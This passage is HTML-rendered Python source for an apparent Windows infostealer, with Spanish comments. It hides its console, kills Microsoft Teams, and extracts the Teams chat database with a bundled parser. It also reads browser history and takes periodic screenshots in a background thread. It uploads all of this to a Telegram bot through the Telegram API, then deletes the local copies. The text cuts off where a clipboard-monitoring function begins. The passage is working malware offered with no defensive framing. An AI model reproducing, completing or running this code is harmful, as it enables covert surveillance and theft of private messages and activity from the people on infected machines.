&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[!] {path} no existe&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; size = os.path.getsize(path)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] Enviando {path} ({size} bytes)&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; size == &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[!] {path} vacío, descartado&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; os.remove(path)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; with open(path, &lt;span style="color:#e6db74"&gt;&amp;#34;rb&amp;#34;&lt;/span&gt;) as f:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; files = {&lt;span style="color:#e6db74"&gt;&amp;#34;document&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; (os.path.basename(path), f)}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; params = {&lt;span style="color:#e6db74"&gt;&amp;#34;chat_id&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CHAT_ID, &lt;span style="color:#e6db74"&gt;&amp;#34;caption&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; f&lt;span style="color:#e6db74"&gt;&amp;#34;From: {platform.node()}&amp;#34;&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; r = requests.post(TELEGRAM_API, files=files, data=params, timeout=&lt;span style="color:#ae81ff"&gt;15&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] Telegram response: {r.status_code}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; r.status_code == &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; os.remove(path)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[!] Error enviando {path}: {r.text}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def hide()&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; platform.system() == &lt;span style="color:#e6db74"&gt;&amp;#34;Windows&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def zip_folder(folder_path, output_zip)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] Comprimiendo carpeta {folder_path} en {output_zip}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; shutil.make_archive(output_zip.replace(&lt;span style="color:#e6db74"&gt;&amp;#39;.zip&amp;#39;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt;), &lt;span style="color:#e6db74"&gt;&amp;#39;zip&amp;#39;&lt;/span&gt;, folder_path)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] Carpeta comprimida: {output_zip}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; output_zip
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def get_extracted_path()&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; getattr(sys, &lt;span style="color:#e6db74"&gt;&amp;#39;frozen&amp;#39;&lt;/span&gt;, False)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; sys._MEIPASS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; os.path.dirname(os.path.abspath(__file__))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def find_teams_db()&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; base = os.path.join(os.environ[&lt;span style="color:#e6db74"&gt;&amp;#39;LOCALAPPDATA&amp;#39;&lt;/span&gt;], &lt;span style="color:#e6db74"&gt;&amp;#39;Packages&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;MSTeams_*&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pattern = os.path.join(base, &lt;span style="color:#e6db74"&gt;&amp;#39;**&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;IndexedDB&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;https_teams.microsoft.com_0.indexeddb.leveldb&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; matches = glob.glob(pattern, recursive=True)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; matches&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; max(matches, key=os.path.getmtime)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#34;[!] Teams DB no encontrada&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; None
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def send_teams_db_zip()&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; db_folder = find_teams_db()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; not db_folder&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; None
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; db_folder
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def parse_teams_with_exe(leveldb_folder)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; output_json = &lt;span style="color:#e6db74"&gt;&amp;#34;teams_parsed.json&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; exe_path = os.path.join(get_extracted_path(), PARSER_EXE)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; not os.path.exists(exe_path)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[!] No se encontró el parser exe en {exe_path}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] Parseando LevelDB con {PARSER_EXE}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Eliminamos check=True para manejar el código de salida manualmente&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# O mantenemos check=True y usamos try-except (recomendado para atrapar errores)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; result = subprocess.run(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; [exe_path, &lt;span style="color:#e6db74"&gt;&amp;#34;-f&amp;#34;&lt;/span&gt;, leveldb_folder, &lt;span style="color:#e6db74"&gt;&amp;#34;-o&amp;#34;&lt;/span&gt;, output_json],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; capture_output=True, &lt;span style="color:#75715e"&gt;# Capturamos lo que diga el .exe para depurar&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; text=True,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; check=True, &lt;span style="color:#75715e"&gt;# Esto lanza la excepción si falla&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; creationflags=subprocess.CREATE_NO_WINDOW
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#34;[+] Parser ejecutado correctamente.&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; send_file(output_json)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; except subprocess.CalledProcessError as e:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[!] El parser falló (Exit code {e.returncode}).&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34; Error output: {e.stderr}&amp;#34;&lt;/span&gt;) &lt;span style="color:#75715e"&gt;# Muestra por qué falló el exe&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#34;[*] Continuando ejecución sin detener el script...&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; except Exception as e:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Para cualquier otro error imprevisto&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[!] Error genérico al ejecutar el parser: {e}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def extract_teams_chats()&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; os.system(&lt;span style="color:#e6db74"&gt;&amp;#34;taskkill /f /im teams.exe &amp;gt;nul 2&amp;gt;&amp;amp;1&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; os.system(&lt;span style="color:#e6db74"&gt;&amp;#34;taskkill /f /im Teams.exe &amp;gt;nul 2&amp;gt;&amp;amp;1&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; os.system(&lt;span style="color:#e6db74"&gt;&amp;#34;taskkill /f /im Teams2.exe &amp;gt;nul 2&amp;gt;&amp;amp;1&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; db_folder = send_teams_db_zip()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; db_folder&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; parse_teams_with_exe(db_folder)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def browser_stealer(browser)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ud = os.path.join(os.environ[&lt;span style="color:#e6db74"&gt;&amp;#39;LOCALAPPDATA&amp;#39;&lt;/span&gt;], browser, &lt;span style="color:#e6db74"&gt;&amp;#34;User Data&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;Default&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; hist = os.path.join(ud, &lt;span style="color:#e6db74"&gt;&amp;#34;History&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; os.path.exists(hist)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tmp = &lt;span style="color:#e6db74"&gt;&amp;#34;history_temp.db&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; shutil.copy2(hist, tmp)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; conn = sqlite3.connect(tmp); cur = conn.cursor()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cur.execute(&lt;span style="color:#e6db74"&gt;&amp;#34;SELECT url,title,visit_count FROM urls ORDER BY visit_count DESC&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; with open(&lt;span style="color:#e6db74"&gt;&amp;#34;history.log&amp;#34;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#34;w&amp;#34;&lt;/span&gt;,encoding=&lt;span style="color:#e6db74"&gt;&amp;#34;utf-8&amp;#34;&lt;/span&gt;) as f:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; url,title,cnt &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; cur.fetchall()&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; f.write(f&lt;span style="color:#e6db74"&gt;&amp;#34;{cnt} visits | {title} | {url}\n&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; conn.close(); os.remove(tmp)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; send_file(&lt;span style="color:#e6db74"&gt;&amp;#34;history.log&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# —— Captura de pantalla periódica sin consola ——&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def send_screenshot(file_path)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; with open(file_path, &lt;span style="color:#e6db74"&gt;&amp;#34;rb&amp;#34;&lt;/span&gt;) as f:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; files = {&lt;span style="color:#e6db74"&gt;&amp;#34;photo&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; (os.path.basename(file_path), f)}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; params = {&lt;span style="color:#e6db74"&gt;&amp;#34;chat_id&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CHAT_ID, &lt;span style="color:#e6db74"&gt;&amp;#34;caption&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; f&lt;span style="color:#e6db74"&gt;&amp;#34;Screenshot from {platform.node()}&amp;#34;&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; response = requests.post(f&lt;span style="color:#e6db74"&gt;&amp;#34;https://api.telegram.org/bot{BOT_TOKEN}/sendPhoto&amp;#34;&lt;/span&gt;, files=files, data=params, timeout=&lt;span style="color:#ae81ff"&gt;15&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; response.status_code == &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; os.remove(file_path)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; except Exception&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pass
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def take_screenshot(filename)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; img = ImageGrab.grab()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; img.save(filename)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; send_screenshot(filename)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def periodic_screenshots(interval=&lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; count = &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; True&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; filename = f&lt;span style="color:#e6db74"&gt;&amp;#34;screenshot_{count}.png&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; take_screenshot(filename)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; count += &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; time.sleep(interval)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def start_screenshot_thread()&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; t = threading.Thread(target=periodic_screenshots, daemon=True)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; t.start()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def send_message(message)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; not message&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#34;[!] El mensaje está vacío, no se enviará.&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] Enviando mensaje: {message}&amp;#34;&lt;/span&gt;) &lt;span style="color:#75715e"&gt;# Imprime lo que se va a enviar para depuración&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; params = {&lt;span style="color:#e6db74"&gt;&amp;#34;chat_id&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CHAT_ID, &lt;span style="color:#e6db74"&gt;&amp;#34;text&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; message}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; r = requests.post(f&lt;span style="color:#e6db74"&gt;&amp;#34;https://api.telegram.org/bot{BOT_TOKEN}/sendMessage&amp;#34;&lt;/span&gt;, data=params, timeout=&lt;span style="color:#ae81ff"&gt;15&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; r.status_code == &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] Mensaje enviado: {message}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[!] Error enviando mensaje: {r.text}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Función para monitorear el portapapeles&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def monitor_clipboard()&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; prev_content = None &lt;span style="color:#75715e"&gt;# Almacenará el contenido previo del portapapeles para comparar&lt;/span&gt;
